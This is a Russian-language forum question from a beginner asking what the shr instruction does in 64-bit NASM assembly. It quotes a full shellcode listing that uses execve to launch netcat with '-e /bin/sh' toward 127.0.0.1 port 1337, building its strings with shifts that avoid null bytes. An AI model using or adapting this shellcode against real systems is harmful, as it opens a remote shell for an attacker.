Что делает shr в 64-битной сборке nasm? - PullRequest
0 голосов
/ 03 ноября 2019

Я новичок в программировании на ассемблере. Я хочу порождать оболочку netcat с помощью execve. Я откуда-то получил ассемблерный код.

Я поставлю код здесь:

BITS 64
xor     rdx,rdx
mov     rdi,0x636e2f6e69622fff
shr rdi,0x08
push    rdi
mov     rdi,rsp

mov rcx,0x68732f6e69622fff
shr rcx,0x08
push    rcx
mov rcx,rsp

mov     rbx,0x652dffffffffffff
shr rbx,0x30
push    rbx
mov rbx,rsp

mov r10,0x37333331ffffffff
shr     r10,0x20
push    r10
mov r10,rsp

jmp short ip
continue:
pop     r9

push    rdx  ;push NULL
push    rcx  ;push address of 'bin/sh'
push    rbx  ;push address of '-e'
push    r10  ;push address of '1337'
push    r9   ;push address of 'ip'
push    rdi  ;push address of '/bin/nc'

mov     rsi,rsp
mov     al,59
syscall


ip:
    call  continue
    db "127.0.0.1"

Я не могу понять, что делает shr и как программист использует 0x08, 0x30, 0x20,Что делает shr? Может ли изменение этого значения повлиять на мой код? Если да, то как мне получить это значение?

Я использую синтаксис Intel nasm на 64-битной машине.

Спасибо

...